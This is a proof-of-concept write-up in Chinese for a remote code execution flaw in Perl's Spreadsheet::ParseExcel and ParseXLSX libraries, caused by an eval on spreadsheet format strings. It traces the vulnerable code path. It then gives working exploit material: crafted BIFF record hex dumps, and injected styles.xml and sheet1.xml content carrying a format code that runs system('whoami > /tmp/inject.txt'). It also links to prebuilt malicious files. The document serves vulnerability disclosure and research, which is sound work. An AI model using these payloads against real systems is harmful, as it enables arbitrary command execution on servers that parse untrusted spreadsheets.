haile01/perl_spreadsheet_excel_rce_pocParseExcel 库及依赖库 ParseXLSX 中 RCE 漏洞的 POC
TL;DR：解析格式字符串的逻辑导致 RCE。
利用的根本原因在于 Utility.pm 中对未经验证的用户输入调用了 eval。
# Uitlity.pm
sub ExcelFmt {
my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;
return $number unless $number =~ $qrNUMBER;
my $conditional;
if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
$conditional = $1;
$format_str = $2;
}
#...
if ($conditional) {
# TODO. Replace string eval with a function.
$section = eval "$number $conditional" ? 0 : 1;
}
#...
}
根据我的检查，此流程的当前实现缺乏适当的验证，同时在此场景下使用 eval 处理比较逻辑有些“杀鸡用牛刀”。因此，ParseExcel::parse 和 ParseXLSX::parse（用于从 Excel 文件读取数据）都容易受到 RCE 攻击。
$format_str 从哪来？ValFmt 是最有可能调用 ExcelFmt 的地方，所以我将进一步说明这个方法。
sub ValFmt {
my ( $oThis, $oCell, $oBook ) = @_;
my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );
if ( $oCell->{Type} eq 'Text' ) {
$Dt =
( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
: '';
return $Dt;
}
else {
$Dt = $oCell->{Val};
$Flg1904 = $oBook->{Flg1904};
my $sFmtStr = $oThis->FmtString( $oCell, $oBook );
# where RCE lies => $oCell->{Type} must be either "Date" or "Number"
return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} );
}
}
如果 $oCell->{Type} 是 Date 或 Number，则会调用 ExcelFmt。
$format_str 的值来自另一个方法：FmtString。
sub FmtString {
my ( $oThis, $oCell, $oBook ) = @_;
my $sFmtStr =
$oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
$oBook ); # maps to the correct format string
#...
unless ( defined($sFmtStr) ) {
# assigns default format string depending on the value, can ignore
#...
}
return $sFmtStr;
}
这里还调用了另一个函数，所以我们还要看看 FmtStringDef。
sub FmtStringDef {
my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping
# More with assigning default format string, can ignore
#...
}
所有变量都已明确，我们可以得出如下攻击向量：
$iFmtIdx 的恶意格式字符串$oBook->{Format}[$cellFmtIdx] 映射到 $iFmtIdx$oCell->{FormatNo} = $cellFmtIdx）![[flow 1.png]]
在下面的章节中，我将详细介绍载荷如何将 shell 代码传播到 eval 命令。分为两个部分：使用 ParseExcel 解析 .xls 文件，以及使用 ParseXLSX 解析 .xlsx 文件。
为了演示，下面是我们构造的恶意 Excel 文件（.xls 和 .xlsx）的链接，它会运行 whoami 并将结果保存到 /tmp/inject.txt 文件。
https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b
以下面这个使用 ParseExcel::parse 解析 xls 文件的简单 Perl 程序为例。RCE 将在解析过程中发生，甚至在获取任何数据之前。
use strict;
use Spreadsheet::ParseExcel;
my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");
Excel 97 二进制文件由多个称为 BIFF 记录的二进制数据块组成。每条记录以一个称为 opCode 的头部（小端序）开始，后面是该记录的长度及其实际数据。
sub QueryNext {
my ( $q ) = @_;
if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
return 0;
}
my $data = substr( $q->{stream}, $q->{streamPos}, 4 );
( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );
# No biff record should be larger than around 20,000.
if ( $q->{length} >= 20000 ) {
return 0;
}
if ( $q->{length} > 0 ) {
$q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
}
else {
$q->{data} = undef;
$q->{dont_decrypt_next_record} = 1;
}
if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
# Handles with decryption
}
elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
# not implemented
return 0;
}
elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {
}
$q->{streamPos} += 4 + $q->{length};
return 1;
}
之后，会使用相应记录类型的处理程序来提取该 BIFF 记录数据。
if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
$self->{FuncTbl}->{$record}
->( $workbook, $record, $record_length, $record_header );
}
格式字符串由 _subFormat 处理，其 opCode = 0x41E。
sub _subFormat {
my ( $oBook, $bOp, $bLen, $sWk ) = @_;
my $sFmt;
if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
$sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
$sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
}
else {
$sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
}
my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );
# Excel 4 and earlier used an index of 0 to indicate that a built-in format
# that was stored implicitly.
if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
$format_index = keys %{ $oBook->{FormatStr} };
}
$oBook->{FormatStr}->{$format_index} = $sFmt;
}
我不确定我的 .xls 文件使用的是哪个 BIFF 版本，但根据二进制文件中的数据，它应该匹配 else 分支（> verBIFF5）。
在较新的 BIFF 版本中，格式字符串记录的结构应为
1E 04 [记录长度 - 2 字节] [格式字符串索引 - 2 字节] [格式字符串长度 - 1 字节] [字符串标志 - 2 字节] [格式字符串内容]
按照正确的结构，我可以向 .xls 文件中注入任意格式字符串。
我在 PoC 中注入的实际格式字符串 BIFF 记录（格式字符串索引为 \x00\xa5）
00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73 ..1...,..[>123;s
^^^^
format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20 ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427 /tmp/inject.txt'
00000030: 295d 3132 33 )]123
单元格格式定义单元格的许多属性，例如格式字符串、样式、字体等。一个单元格格式可以通过在其 BIFF 记录中包含格式字符串的索引来链接到一个格式字符串。该逻辑由 _subXf 处理。
sub _subXF {
my ( $oBook, $bOp, $bLen, $sWk ) = @_;
#...
if ( $oBook->{BIFFVersion} == verBIFF4 ) {
#...
}
elsif ( $oBook->{BIFFVersion} == verBIFF8 ) {
my ( $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn );
( $iFnt, $iIdx, $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn )
= unpack( "v7Vv", $sWk );
#...
}
else {
( $iFnt, $iIdx, $iGen, $iAlign, $iPtn, $iPtn2, $iBdr1, $iBdr2 ) =
unpack( "v8", $sWk );
#...
}
push @{ $oBook->{Format} }, Spreadsheet::ParseExcel::Format->new(
FontNo => $iFnt,
Font => $oBook->{Font}[$iFnt],
FmtIdx => $iIdx, # <- the index that points to format string index
#...
);
}
由于我们的 BIFFVersion 大于 BIFF5，因此条件不应进入第一种情况。对于另外两种情况，我们知道 $iIdx 是 BIFF 数据中的第二个字。所以这一步也很容易实现。
我在 PoC 中使用的实际单元格格式 BIFF 记录
00000000: e000 1400 0000 a500 f5ff 2000 0000 0000 .......... .....
^^^^
format string index
00000010: 0000 0000 0000 c020 .......
此外，单元格格式通过其在列表中的索引来标识，因此我修改了第一条记录，那么我的单元格格式索引应为 0。
单元格要应用格式，应在单元格的 BIFF 记录中包含单元格格式的 ID。然而，如前所述，只有类型为 Number 或 Date 的单元格才会触发 RCE，因此我在 PoC 中使用日期类型的单元格（称为 RK BIFF 记录）。
sub _subRK {
my ( $workbook, $biff_number, $length, $data ) = @_;
my ( $row, $col, $format_index, $rk_number ) = unpack( 'vvvV', $data );
my $number = _decode_rk_number( $rk_number );
_NewCell(
$workbook, $row, $col,
Kind => 'RK',
Val => $number,
FormatNo => $format_index,
Format => $workbook->{Format}->[$format_index],
Numeric => 1,
Code => undef,
Book => $workbook,
);
#...
}
我们可以看到，映射到单元格格式的索引现在是记录的第三个字，因此我们只需将该字清零为 \x00。
我在 PoC 中使用的日期单元格的实际 BIFF 记录
00000000: 7e02 0a00 0000 0000 0000 201a e240 ~......... ..@
^^^^
format index
注意，_subRK 方法尚未显式定义 Date 类型。类型检查是在 chkType 中实现的。
sub ChkType {
my ( $oPkg, $iNumeric, $iFmtIdx ) = @_;
if ($iNumeric) {
if ( ( ( $iFmtIdx >= 0x0E ) && ( $iFmtIdx <= 0x16 ) )
|| ( ( $iFmtIdx >= 0x2D ) && ( $iFmtIdx <= 0x2F ) ) )
{
return "Date";
}
else {
return "Numeric";
}
}
else {
return "Text";
}
}
由于 $iNumeric 被设为 1，我们可以确定类型不是 Text。
最后，在初始化新的 Cell 对象时，会调用 ValFmt 并继续执行链，将我们的 shell 传播到 eval 方法。
处理 .xlsx 文件要容易得多，因为我们可以直接修改明文（xml 格式）中的数据。
以下面这个使用 ParseXLSX::parse 解析 xls 文件的简单 Perl 程序为例。RCE 将在解析过程中发生，甚至在获取任何数据之前。
use strict;
use Spreadsheet::ParseExcel;
use Spreadsheet::ParseXLSX;
my $parser = Spreadsheet::ParseXLSX->new();
# file.xlsx is malicious file from end user
my $workbook = $parser->parse("test.xlsx");
XLSX 文件是一个 zip 文件，其中压缩了许多 xml 文件，每个文件包含工作簿的特定类型数据。
以下是文件夹结构示例：
|- [Content_Types].xml
|- _rels
|- docProps
|- app.xml
|- core.xml
|- xl
|- _rels
|- workbook.xml.rels
|- styles.xml <--- Format strings & cell formats
|- workbook.xml
|- sharedStrings.xml
|- theme
|- theme1.xml
|- worksheets
|- sheet1.xml <--- Cell values
格式字符串包含在 xl/styles.xml 文件的 <numFmts> 标签下，而单元格格式则定义在 <cellXfs> 标签下。
sub _parse_styles {
# ...
my %format_str = (
%default_format_str,
(map {
$_->att('numFmtId') => $_->att('formatCode')
} $styles->find_nodes('//s:numFmts/s:numFmt')),
);
# ...
my @format = map {
my %opts = (
%default_format_opts,
%ignore,
);
# ...
$opts{FmtIdx} = 0+($xml_fmt->att('numFmtId')||0);
# ...
Spreadsheet::ParseExcel::Format->new(%opts)
} $styles->find_nodes('//s:cellXfs/s:xf');
# ...
return {
FormatStr => \%format_str,
Font => \@font,
Format => \@format,
}
}
要注入格式字符串，我们需要添加一个 <numFmt> 标签，其中 formatCode 为格式字符串，numFmtId 为我们想要的任意整数值。这里我使用了 123。
之后，我们再添加一个 <xf> 单元格来映射到该格式字符串，其中 numFmtId 属性为我们选择的 id（123）。
我在 PoC 中使用的最终 xml 数据
<!-- xl/styles.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:x16r2="http://schemas.microsoft.com/office/spreadsheetml/2015/02/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" mc:Ignorable="x14ac x16r2 xr">
...
<numFmts count="1">
<!-- injected format string -->
<numFmt numFmtId="123" formatCode="[>123;system('whoami > /tmp/inject.txt')]123"/>
</numFmts>
...
<cellXfs count="4">
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1">
<alignment horizontal="center"/>
</xf>
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
<!-- injected cell format -->
<xf numFmtId="123" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
</cellXfs>
...
</styleSheet>
sub _parse_sheet {
my $sheet_xml = $self->_new_twig(
twig_roots => {
#...
's:sheetData/s:row' => sub {
my ( $twig, $row_elt ) = @_;
for my $cell ( $row_elt->children('s:c') ){
my $type = $cell->att('t') || 'n';
my $val = $val_xml ? $val_xml->text : undef;
#...
elsif ($type eq 'n') {
$long_type = 'Numeric';
$val = defined($val) ? 0+$val : undef;
}
elsif ($type eq 'd') {
$long_type = 'Date';
}
# other $type results into $long_type = 'Text'
#...
my $format_idx = $cell->att('s') || 0;
my $format = $sheet->{_Book}{Format}[$format_idx];
die "unknown format $format_idx" unless $format;
my $cell = Spreadsheet::ParseExcel::Cell->new(
Val => $val,
Type => $long_type,
Merged => undef, # fix up later
Format => $format,
FormatNo => $format_idx,
($formula
? (Formula => $formula->text)
: ()),
Rich => $Rich,
);
$cell->{_Value} = $sheet->{_Book}{FmtClass}->ValFmt(
$cell, $sheet->{_Book}
);
}
}
}
)
}
该库读取单元格数据的逻辑更为直接，仅从 xml 标签属性中直接分配类型和值。由于我们需要 $oCell->{Type} 为 Date 或 Numeric，只需将属性 t 设为 d 或 n。要将单元格映射到单元格格式，我们还需将属性 s 设为单元格格式的索引（3）。
我在 PoC 中使用的最终 xml 数据
<!-- xl/worksheets/sheet1.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" mc:Ignorable="x14ac xr xr2 xr3" xr:uid="{39528CB2-0246-0542-84DC-33008C4AE4F2}">
...
<sheetData>
<row r="1" spans="1:2" x14ac:dyDescent="0.2">
<c r="A1" s="3" t="n"> <!-- 3 is the order of our cell format -->
<v>0</v>
</c>
<c r="B1" s="2"/>
</row>
</sheetData>
...
</worksheet>